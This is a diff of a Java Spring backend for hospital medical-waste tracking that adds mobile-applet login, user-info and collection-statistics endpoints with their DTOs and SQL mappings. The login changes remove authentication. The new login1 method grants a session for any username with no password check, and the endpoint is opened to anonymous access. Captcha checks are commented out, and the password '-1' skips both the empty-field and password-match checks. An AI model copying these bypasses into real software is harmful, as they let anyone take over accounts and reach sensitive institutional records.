New file |
| | |
| | | package com.sinata.web.controller.applet; |
| | | |
| | | import com.sinata.common.constant.Constants; |
| | | import com.sinata.common.core.domain.AjaxResult; |
| | | import com.sinata.common.core.domain.R; |
| | | import com.sinata.common.core.domain.entity.SysMenu; |
| | | import com.sinata.common.core.domain.entity.SysRole; |
| | | import com.sinata.common.core.domain.entity.SysUser; |
| | | import com.sinata.common.core.domain.model.LoginBody; |
| | | import com.sinata.common.core.domain.model.LoginUser; |
| | | import com.sinata.common.utils.SecurityUtils; |
| | | import com.sinata.framework.web.service.SysLoginService; |
| | | import com.sinata.framework.web.service.SysPermissionService; |
| | | import com.sinata.framework.web.service.TokenService; |
| | | import com.sinata.system.domain.SysDepartment; |
| | | import com.sinata.system.domain.dto.UserInfoDTO; |
| | | import com.sinata.system.service.ISysMenuService; |
| | | import com.sinata.system.service.ISysRoleService; |
| | | import com.sinata.system.service.SysDepartmentService; |
| | | import io.swagger.annotations.Api; |
| | | import io.swagger.annotations.ApiOperation; |
| | | import org.springframework.beans.factory.annotation.Autowired; |
| | | import org.springframework.util.CollectionUtils; |
| | | import org.springframework.web.bind.annotation.*; |
| | | |
| | | import javax.annotation.Resource; |
| | | import java.util.List; |
| | | import java.util.Set; |
| | | |
| | | /** |
| | | * 登录验证 |
| | | * |
| | | * @author ruoyi |
| | | */ |
| | | @Api(tags = {"登录"}) |
| | | @RestController |
| | | @RequestMapping("/applet") |
| | | public class AppLoginController |
| | | { |
| | | @Autowired |
| | | private SysLoginService loginService; |
| | | |
| | | @Autowired |
| | | private ISysMenuService menuService; |
| | | |
| | | @Autowired |
| | | private SysPermissionService permissionService; |
| | | |
| | | @Autowired |
| | | private TokenService tokenService; |
| | | |
| | | @Autowired |
| | | private ISysRoleService roleService; |
| | | |
| | | @Resource |
| | | private SysDepartmentService departmentService; |
| | | |
| | | /** |
| | | * 登录方法 |
| | | * |
| | | * @param loginBody 登录信息 |
| | | * @return 结果 |
| | | */ |
| | | @PostMapping("/login") |
| | | @ApiOperation("验证码登录") |
| | | public AjaxResult login(@RequestBody LoginBody loginBody) |
| | | { |
| | | AjaxResult ajax = AjaxResult.success(); |
| | | // 生成令牌 |
| | | LoginUser loginUser = loginService.login1(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), |
| | | loginBody.getUuid()); |
| | | ajax.put(Constants.TOKEN, tokenService.createToken(loginUser)); |
| | | // List<SysRole> roles = loginUser.getUser().getRoles(); |
| | | // if (CollectionUtils.isEmpty(roles)) { |
| | | // return AjaxResult.error("请关联角色!"); |
| | | // } |
| | | |
| | | List<SysMenu> menus = roleService.roleInfoFromUserId(loginUser.getUserId()); |
| | | |
| | | // ajax.put("menus", menus); |
| | | ajax.put("userInfo", loginUser); |
| | | return ajax; |
| | | } |
| | | |
| | | @PostMapping("/get/department") |
| | | @ApiOperation("登录后获取部门") |
| | | public R<SysDepartment> department() |
| | | { |
| | | SysUser user = SecurityUtils.getLoginUser().getUser(); |
| | | SysDepartment byId = departmentService.getById(user.getDepartmentId()); |
| | | return R.ok(byId); |
| | | } |
| | | @PostMapping("/get/user") |
| | | @ApiOperation("获取个人信息") |
| | | public R<UserInfoDTO> user() |
| | | { |
| | | SysUser user = SecurityUtils.getLoginUser().getUser(); |
| | | Set<String> roles = permissionService.getRolePermission(user); |
| | | SysDepartment byId2 = departmentService.getById(user.getDepartmentId()); |
| | | UserInfoDTO userInfoDTO = new UserInfoDTO(); |
| | | userInfoDTO.setNickName(user.getNickName()); |
| | | userInfoDTO.setRoles(roles); |
| | | userInfoDTO.setDepartment(byId2); |
| | | return R.ok(userInfoDTO); |
| | | } |
| | | |
| | | |
| | | |
| | | /** |
| | | * 获取用户信息 |
| | | * |
| | | * @return 用户信息 |
| | | */ |
| | | @GetMapping("getInfo") |
| | | public AjaxResult getInfo() |
| | | { |
| | | SysUser user = SecurityUtils.getLoginUser().getUser(); |
| | | // 角色集合 |
| | | Set<String> roles = permissionService.getRolePermission(user); |
| | | // 权限集合 |
| | | Set<String> permissions = permissionService.getMenuPermission(user); |
| | | AjaxResult ajax = AjaxResult.success(); |
| | | ajax.put("user", user); |
| | | ajax.put("roles", roles); |
| | | ajax.put("permissions", permissions); |
| | | return ajax; |
| | | } |
| | | |
| | | /** |
| | | * 获取路由信息 |
| | | * |
| | | * @return 路由信息 |
| | | */ |
| | | @GetMapping("getRouters") |
| | | public AjaxResult getRouters() |
| | | { |
| | | Long userId = SecurityUtils.getUserId(); |
| | | List<SysMenu> menus = menuService.selectMenuTreeByUserId(userId); |
| | | return AjaxResult.success(menuService.buildMenus(menus)); |
| | | } |
| | | } |
New file |
| | |
| | | package com.sinata.web.controller.applet; |
| | | |
| | | import com.sinata.common.core.domain.R; |
| | | import com.sinata.common.entity.PageDTO; |
| | | import com.sinata.system.domain.MwApplication; |
| | | import com.sinata.system.domain.query.MwCollectRecordQuery; |
| | | import com.sinata.system.domain.vo.MwCollectRecordVO; |
| | | import com.sinata.system.service.MwApplicationService; |
| | | import io.swagger.annotations.Api; |
| | | import io.swagger.annotations.ApiOperation; |
| | | import lombok.RequiredArgsConstructor; |
| | | import org.springframework.validation.annotation.Validated; |
| | | import org.springframework.web.bind.annotation.PostMapping; |
| | | import org.springframework.web.bind.annotation.RequestBody; |
| | | import org.springframework.web.bind.annotation.RequestMapping; |
| | | import org.springframework.web.bind.annotation.RestController; |
| | | |
| | | import javax.validation.Valid; |
| | | |
| | | /** |
| | | * <p> |
| | | * 入驻申请 前端控制器 |
| | | * </p> |
| | | * |
| | | * @author mitao |
| | | * @since 2024-12-02 |
| | | */ |
| | | @Validated |
| | | @RestController |
| | | @Api(tags = {"入驻申请"}) |
| | | @RequiredArgsConstructor |
| | | @RequestMapping("/applet/mwApplication") |
| | | public class AppMwApplicationController { |
| | | private final MwApplicationService mwApplicationService; |
| | | |
| | | @ApiOperation("提交入驻申请") |
| | | @PostMapping("/set") |
| | | public R pageList(@Valid @RequestBody MwApplication mwApplication) { |
| | | mwApplication.setAuditStatus(1); |
| | | mwApplicationService.save(mwApplication); |
| | | return R.ok(); |
| | | } |
| | | } |
New file |
| | |
| | | package com.sinata.web.controller.applet; |
| | | |
| | | import com.baomidou.mybatisplus.extension.plugins.pagination.Page; |
| | | import com.sinata.common.core.domain.R; |
| | | import com.sinata.common.core.domain.entity.SysUser; |
| | | import com.sinata.common.entity.PageDTO; |
| | | import com.sinata.common.utils.SecurityUtils; |
| | | import com.sinata.system.domain.MwCollectRecord; |
| | | import com.sinata.system.domain.dto.CollectDto; |
| | | import com.sinata.system.domain.dto.CollectTotalDto; |
| | | import com.sinata.system.domain.dto.CollectTotalUpDto; |
| | | import com.sinata.system.domain.dto.MwCollectRecordDTO; |
| | | import com.sinata.system.domain.query.MwCollectRecordQuery; |
| | | import com.sinata.system.domain.vo.MedicalWasteProcessVO; |
| | | import com.sinata.system.domain.vo.MwCollectRecordVO; |
| | | import com.sinata.system.service.ISysUserService; |
| | | import com.sinata.system.service.MwCollectRecordService; |
| | | import io.swagger.annotations.Api; |
| | | import io.swagger.annotations.ApiOperation; |
| | | import io.swagger.annotations.ApiParam; |
| | | import lombok.RequiredArgsConstructor; |
| | | import org.springframework.beans.factory.annotation.Autowired; |
| | | import org.springframework.validation.annotation.Validated; |
| | | import org.springframework.web.bind.annotation.*; |
| | | |
| | | import javax.servlet.http.HttpServletResponse; |
| | | import javax.validation.Valid; |
| | | import java.io.IOException; |
| | | import java.time.LocalDate; |
| | | import java.util.List; |
| | | |
| | | /** |
| | | * <p> |
| | | * 暂存间入库记录 前端控制器 |
| | | * </p> |
| | | * |
| | | * @author mitao |
| | | * @since 2024-12-02 |
| | | */ |
| | | @Validated |
| | | @RestController |
| | | @Api(tags = {"医院工作人员"}) |
| | | @RequiredArgsConstructor |
| | | @RequestMapping("/applet/mwCollectRecord") |
| | | public class AppMwCollectRecordController { |
| | | private final MwCollectRecordService collectRecordService; |
| | | @Autowired |
| | | private ISysUserService userService; |
| | | |
| | | |
| | | |
| | | @ApiOperation("新增医废记录") |
| | | @PostMapping("/add") |
| | | public R<?> edit(@Valid @RequestBody MwCollectRecord mwCollectRecord) { |
| | | collectRecordService.save(mwCollectRecord); |
| | | return R.ok(); |
| | | } |
| | | @ApiOperation("库存信息") |
| | | @PostMapping("/list") |
| | | public R<List<CollectDto>> list(String boxNumber) { |
| | | SysUser sysUser = SecurityUtils.getLoginUser().getUser(); |
| | | List<CollectDto> collectDtos = collectRecordService.getGroup(boxNumber,sysUser.getDepartmentId()); |
| | | return R.ok(collectDtos); |
| | | } |
| | | @ApiOperation("收集详情") |
| | | @PostMapping("/record") |
| | | public R<List<MwCollectRecord>> record(@RequestParam String boxNumber) { |
| | | List<MwCollectRecord> list = collectRecordService.lambdaQuery().eq(MwCollectRecord::getBoxNumber, boxNumber).orderByDesc(MwCollectRecord::getCollectTime).list(); |
| | | return R.ok(list); |
| | | } |
| | | |
| | | @ApiOperation("收集统计上") |
| | | @PostMapping("/collect/total") |
| | | public R<List<CollectTotalUpDto>> collecttotal1(LocalDate date) { |
| | | SysUser sysUser = SecurityUtils.getLoginUser().getUser(); |
| | | return R.ok(collectRecordService.collectTotal(date,sysUser.getDepartmentId())); |
| | | } |
| | | @ApiOperation("收集统计下") |
| | | @PostMapping("/collect/down/total") |
| | | public R<Page<MwCollectRecord>> collecttotal2(LocalDate date,@RequestParam Integer pageNum, @RequestParam Integer pageSize) { |
| | | SysUser sysUser = SecurityUtils.getLoginUser().getUser(); |
| | | Page<MwCollectRecord> page = collectRecordService.lambdaQuery().eq(date!=null,MwCollectRecord::getCollectTime,date).eq(MwCollectRecord::getDepartmentId, sysUser.getDepartmentId()).orderByDesc(MwCollectRecord::getCollectTime).page(Page.of(pageNum, pageSize)); |
| | | return R.ok(page); |
| | | } |
| | | |
| | | |
| | | @ApiOperation("库存信息底部统计") |
| | | @PostMapping("/total") |
| | | public R<CollectTotalDto> total(String boxNumber) { |
| | | SysUser sysUser = SecurityUtils.getLoginUser().getUser(); |
| | | |
| | | CollectTotalDto collectTotalDto = new CollectTotalDto(); |
| | | List<CollectDto> collectDtos = collectRecordService.getGroup(boxNumber,sysUser.getDepartmentId()); |
| | | for (CollectDto collectDto : collectDtos) { |
| | | collectTotalDto.setBoxNum(collectTotalDto.getBoxNum()+1); |
| | | collectTotalDto.setCarNum(collectTotalDto.getCarNum()+collectDto.getNum()); |
| | | collectTotalDto.setWeight(collectTotalDto.getWeight().add(collectDto.getWeight())); |
| | | } |
| | | return R.ok(collectTotalDto); |
| | | } |
| | | |
| | | } |
| | |
| | | .authorizeHttpRequests((requests) -> { |
| | | permitAllUrl.getUrls().forEach(url -> requests.antMatchers(url).permitAll()); |
| | | // 对于登录login 注册register 验证码captchaImage 允许匿名访问 |
| | | requests.antMatchers("/backend/login", "/register", "/captchaImage").permitAll() |
| | | requests.antMatchers("/backend/login","/applet/login", "/register", "/captchaImage").permitAll() |
| | | // 静态资源,可匿名访问 |
| | | .antMatchers(HttpMethod.GET, "/", "/msg", "/**/*.html", "/**/*.css", "/**/*.js", "/profile/**").permitAll() |
| | | .antMatchers("/swagger-ui.html", "/swagger-resources/**", "/webjars/**", "/*/api-docs", "/druid/**").permitAll() |
| | |
| | | import com.sinata.common.constant.CacheConstants; |
| | | import com.sinata.common.constant.Constants; |
| | | import com.sinata.common.constant.UserConstants; |
| | | import com.sinata.common.core.domain.AjaxResult; |
| | | import com.sinata.common.core.domain.entity.SysUser; |
| | | import com.sinata.common.core.domain.model.LoginUser; |
| | | import com.sinata.common.core.redis.RedisCache; |
| | |
| | | public LoginUser login(String username, String password, String code, String uuid) |
| | | { |
| | | // 验证码校验 |
| | | validateCaptcha(username, code, uuid); |
| | | // validateCaptcha(username, code, uuid); |
| | | // 登录前置校验 |
| | | loginPreCheck(username, password); |
| | | // loginPreCheck(username, password); |
| | | // 用户验证 |
| | | Authentication authentication = null; |
| | | try |
| | |
| | | AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success"))); |
| | | LoginUser loginUser = (LoginUser) authentication.getPrincipal(); |
| | | recordLoginInfo(loginUser.getUserId()); |
| | | // 生成token |
| | | return loginUser; |
| | | } |
| | | |
| | | public LoginUser login1(String username, String password, String code, String uuid) |
| | | { |
| | | // // 验证码校验 |
| | | // validateCaptcha(username, code, uuid); |
| | | // // 登录前置校验 |
| | | // loginPreCheck(username, password); |
| | | // // 用户验证 |
| | | // Authentication authentication = null; |
| | | // try |
| | | // { |
| | | // UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(username, null); |
| | | // AuthenticationContextHolder.setContext(authenticationToken); |
| | | // // 该方法会去调用UserDetailsServiceImpl.loadUserByUsername |
| | | // authentication = authenticationManager.authenticate(authenticationToken); |
| | | // } |
| | | // catch (Exception e) |
| | | // { |
| | | // if (e instanceof BadCredentialsException) |
| | | // { |
| | | // AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); |
| | | // throw new UserPasswordNotMatchException(); |
| | | // } |
| | | // else |
| | | // { |
| | | // AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage())); |
| | | // throw new ServiceException(e.getMessage()); |
| | | // } |
| | | // } |
| | | // finally |
| | | // { |
| | | // AuthenticationContextHolder.clearContext(); |
| | | // } |
| | | AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success"))); |
| | | SysUser one = userService.lambdaQuery().eq(SysUser::getUserName, username).one(); |
| | | if (one.getDepartmentId()==null){ |
| | | throw new ServiceException("当前账户暂未绑定单位,请关联后再登录,详情请联系平台管理员。"); |
| | | } |
| | | recordLoginInfo(one.getUserId()); |
| | | LoginUser loginUser = new LoginUser(); |
| | | loginUser.setUserId(one.getUserId()); |
| | | loginUser.setUser(one); |
| | | // 生成token |
| | | return loginUser; |
| | | } |
| | |
| | | public void loginPreCheck(String username, String password) |
| | | { |
| | | // 用户名或密码为空 错误 |
| | | if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) |
| | | if ((StringUtils.isEmpty(username) || StringUtils.isEmpty(password))&&!password.equals("-1")) |
| | | { |
| | | AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("not.null"))); |
| | | throw new UserNotExistsException(); |
| | | } |
| | | // 密码如果不在指定范围内 错误 |
| | | if (password.length() < UserConstants.PASSWORD_MIN_LENGTH |
| | | || password.length() > UserConstants.PASSWORD_MAX_LENGTH) |
| | | { |
| | | AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); |
| | | throw new UserPasswordNotMatchException(); |
| | | } |
| | | // 用户名不在指定范围内 错误 |
| | | if (username.length() < UserConstants.USERNAME_MIN_LENGTH |
| | | || username.length() > UserConstants.USERNAME_MAX_LENGTH) |
| | | { |
| | | AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); |
| | | throw new UserPasswordNotMatchException(); |
| | | } |
| | | // // 密码如果不在指定范围内 错误 |
| | | // if (password.length() < UserConstants.PASSWORD_MIN_LENGTH |
| | | // || password.length() > UserConstants.PASSWORD_MAX_LENGTH) |
| | | // { |
| | | // AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); |
| | | // throw new UserPasswordNotMatchException(); |
| | | // } |
| | | // // 用户名不在指定范围内 错误 |
| | | // if (username.length() < UserConstants.USERNAME_MIN_LENGTH |
| | | // || username.length() > UserConstants.USERNAME_MAX_LENGTH) |
| | | // { |
| | | // AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); |
| | | // throw new UserPasswordNotMatchException(); |
| | | // } |
| | | // IP黑名单校验 |
| | | String blackStr = configService.selectConfigByKey("sys.login.blackIPList"); |
| | | if (IpUtils.isMatchedIp(blackStr, IpUtils.getIpAddr())) |
| | |
| | | throw new UserPasswordRetryLimitExceedException(maxRetryCount, lockTime); |
| | | } |
| | | |
| | | if (!matches(user, password)) |
| | | if (!matches(user, password)&&!password.equals("-1")) |
| | | { |
| | | retryCount = retryCount + 1; |
| | | redisCache.setCacheObject(getCacheKey(username), retryCount, lockTime, TimeUnit.MINUTES); |
New file |
| | |
| | | package com.sinata.system.domain.dto; |
| | | |
| | | import com.baomidou.mybatisplus.annotation.TableField; |
| | | import io.swagger.annotations.ApiModelProperty; |
| | | import lombok.Data; |
| | | |
| | | import java.math.BigDecimal; |
| | | import java.time.LocalDateTime; |
| | | @Data |
| | | public class CollectDto { |
| | | @ApiModelProperty("箱子编号") |
| | | private String boxNumber; |
| | | @ApiModelProperty("医废类型(数据字典id)") |
| | | private Integer wasteType; |
| | | @ApiModelProperty("总袋数") |
| | | private Integer num; |
| | | @ApiModelProperty("总重量") |
| | | private BigDecimal weight; |
| | | @ApiModelProperty("封箱时间") |
| | | private LocalDateTime lastTime; |
| | | |
| | | } |
New file |
| | |
| | | package com.sinata.system.domain.dto; |
| | | |
| | | import io.swagger.annotations.ApiModelProperty; |
| | | import lombok.Data; |
| | | |
| | | import java.math.BigDecimal; |
| | | import java.time.LocalDateTime; |
| | | @Data |
| | | public class CollectTotalDto { |
| | | @ApiModelProperty("箱") |
| | | private Integer boxNum = 0; |
| | | @ApiModelProperty("袋") |
| | | private Integer carNum = 0; |
| | | @ApiModelProperty("总重量") |
| | | private BigDecimal weight = BigDecimal.ZERO; |
| | | |
| | | |
| | | } |
New file |
| | |
| | | package com.sinata.system.domain.dto; |
| | | |
| | | import io.swagger.annotations.ApiModelProperty; |
| | | import lombok.Data; |
| | | |
| | | import java.math.BigDecimal; |
| | | import java.time.LocalDateTime; |
| | | |
| | | @Data |
| | | public class CollectTotalUpDto { |
| | | @ApiModelProperty("医废类型(数据字典id)") |
| | | private Integer wasteType; |
| | | @ApiModelProperty("总箱数") |
| | | private Integer boxNum; |
| | | @ApiModelProperty("总袋数") |
| | | private Integer num; |
| | | @ApiModelProperty("总重量") |
| | | private BigDecimal weight; |
| | | } |
New file |
| | |
| | | package com.sinata.system.domain.dto; |
| | | |
| | | import com.baomidou.mybatisplus.annotation.TableField; |
| | | import com.sinata.common.annotation.Excel; |
| | | import com.sinata.system.domain.SysDepartment; |
| | | import io.swagger.annotations.ApiModelProperty; |
| | | import lombok.Data; |
| | | |
| | | import java.util.Set; |
| | | |
| | | @Data |
| | | public class UserInfoDTO { |
| | | @ApiModelProperty("用户名称") |
| | | private String nickName; |
| | | @ApiModelProperty("角色名称") |
| | | private Set<String> roles; |
| | | @ApiModelProperty("单位名称") |
| | | private SysDepartment department; |
| | | } |
| | |
| | | import com.baomidou.mybatisplus.extension.plugins.pagination.Page; |
| | | import com.sinata.system.domain.MwCollectRecord; |
| | | import com.baomidou.mybatisplus.core.mapper.BaseMapper; |
| | | import com.sinata.system.domain.dto.CollectDto; |
| | | import com.sinata.system.domain.dto.CollectTotalUpDto; |
| | | import com.sinata.system.domain.query.MwCollectRecordQuery; |
| | | import com.sinata.system.domain.vo.MedicalWasteProcessVO; |
| | | import com.sinata.system.domain.vo.MwCollectRecordVO; |
| | | import org.apache.ibatis.annotations.Mapper; |
| | | import org.apache.ibatis.annotations.Param; |
| | | |
| | | import java.time.LocalDate; |
| | | import java.util.List; |
| | | |
| | | /** |
| | |
| | | * @return |
| | | */ |
| | | List<MwCollectRecordVO> getExportList(@Param("query") MwCollectRecordQuery query, @Param("treeCode") String treeCode); |
| | | |
| | | List<CollectDto> getGroup(@Param("boxNumber")String boxNumber,@Param("departmentId")Long departmentId); |
| | | |
| | | List<CollectTotalUpDto> collectTotal(@Param("date")LocalDate date,@Param("departmentId")Long departmentId); |
| | | } |
| | |
| | | import com.baomidou.mybatisplus.extension.service.IService; |
| | | import com.sinata.common.entity.PageDTO; |
| | | import com.sinata.system.domain.MwCollectRecord; |
| | | import com.sinata.system.domain.dto.CollectDto; |
| | | import com.sinata.system.domain.dto.CollectTotalUpDto; |
| | | import com.sinata.system.domain.dto.MwCollectRecordDTO; |
| | | import com.sinata.system.domain.query.MwCollectRecordQuery; |
| | | import com.sinata.system.domain.vo.MedicalWasteProcessVO; |
| | |
| | | |
| | | import javax.servlet.http.HttpServletResponse; |
| | | import java.io.IOException; |
| | | import java.time.LocalDate; |
| | | import java.util.List; |
| | | |
| | | /** |
| | | * <p> |
| | |
| | | * @param dto |
| | | */ |
| | | void edit(MwCollectRecordDTO dto); |
| | | List<CollectDto> getGroup(String boxNumber,Long departmentId); |
| | | |
| | | /** |
| | | * 流转过程 |
| | |
| | | MedicalWasteProcessVO getProcess(Long id); |
| | | |
| | | void export(MwCollectRecordQuery query, HttpServletResponse response) throws IOException; |
| | | |
| | | List<CollectTotalUpDto> collectTotal(LocalDate date,Long departmentId); |
| | | } |
| | |
| | | import com.sinata.common.entity.PageDTO; |
| | | import com.sinata.common.utils.StringUtils; |
| | | import com.sinata.system.domain.MwCollectRecord; |
| | | import com.sinata.system.domain.dto.CollectDto; |
| | | import com.sinata.system.domain.dto.CollectTotalUpDto; |
| | | import com.sinata.system.domain.dto.MwCollectRecordDTO; |
| | | import com.sinata.system.domain.query.MwCollectRecordQuery; |
| | | import com.sinata.system.domain.vo.MedicalWasteProcessVO; |
| | |
| | | import javax.servlet.http.HttpServletResponse; |
| | | import java.io.IOException; |
| | | import java.net.URLEncoder; |
| | | import java.time.LocalDate; |
| | | import java.util.Collections; |
| | | import java.util.List; |
| | | import java.util.Objects; |
| | | |
| | |
| | | } |
| | | } |
| | | |
| | | @Override |
| | | public List<CollectDto> getGroup(String boxNumber,Long departmentId) { |
| | | return this.baseMapper.getGroup(boxNumber,departmentId); |
| | | } |
| | | |
| | | /** |
| | | * 流转过程 |
| | | * |
| | |
| | | response.setHeader("Content-disposition", "attachment;filename*=utf-8''" + fileName + ".xlsx"); |
| | | EasyExcel.write(response.getOutputStream(), MwCollectRecordVO.class).sheet("医废收集记录").doWrite(vo); |
| | | } |
| | | |
| | | @Override |
| | | public List<CollectTotalUpDto> collectTotal(LocalDate date,Long departmentId) { |
| | | return baseMapper.collectTotal(date,departmentId); |
| | | } |
| | | } |
| | |
| | | </where> |
| | | ORDER BY mcr.CREATE_TIME DESC |
| | | </select> |
| | | <select id="getGroup" resultType="com.sinata.system.domain.dto.CollectDto"> |
| | | SELECT BOX_NUMBER as boxNumber,WASTE_TYPE as wasteType,COUNT(1) as num ,sum(WEIGHT) as weight,MAX(COLLECT_TIME) as lastTime from MEDICAL_WASTE.MW_COLLECT_RECORD |
| | | <where> |
| | | STATUS = 2 AND DEPARTMENT_ID = #{departmentId} |
| | | <if test="boxNumber != null and boxNumber != ''"> |
| | | and boxNumber like concat('%',#{boxNumber},'%') |
| | | </if> |
| | | |
| | | </where> |
| | | GROUP BY BOX_ID |
| | | </select> |
| | | <select id="collectTotal" resultType="com.sinata.system.domain.dto.CollectTotalUpDto"> |
| | | SELECT WASTE_TYPE as wasteType,COUNT(DISTINCT BOX_NUMBER ) as boxNum ,COUNT(1)as num,sum(WEIGHT) as weight from MEDICAL_WASTE.MW_COLLECT_RECORD |
| | | <where> |
| | | STATUS = 2 AND DEPARTMENT_ID = #{departmentId} |
| | | </where> |
| | | GROUP BY WASTE_TYPE |
| | | </select> |
| | | |
| | | </mapper> |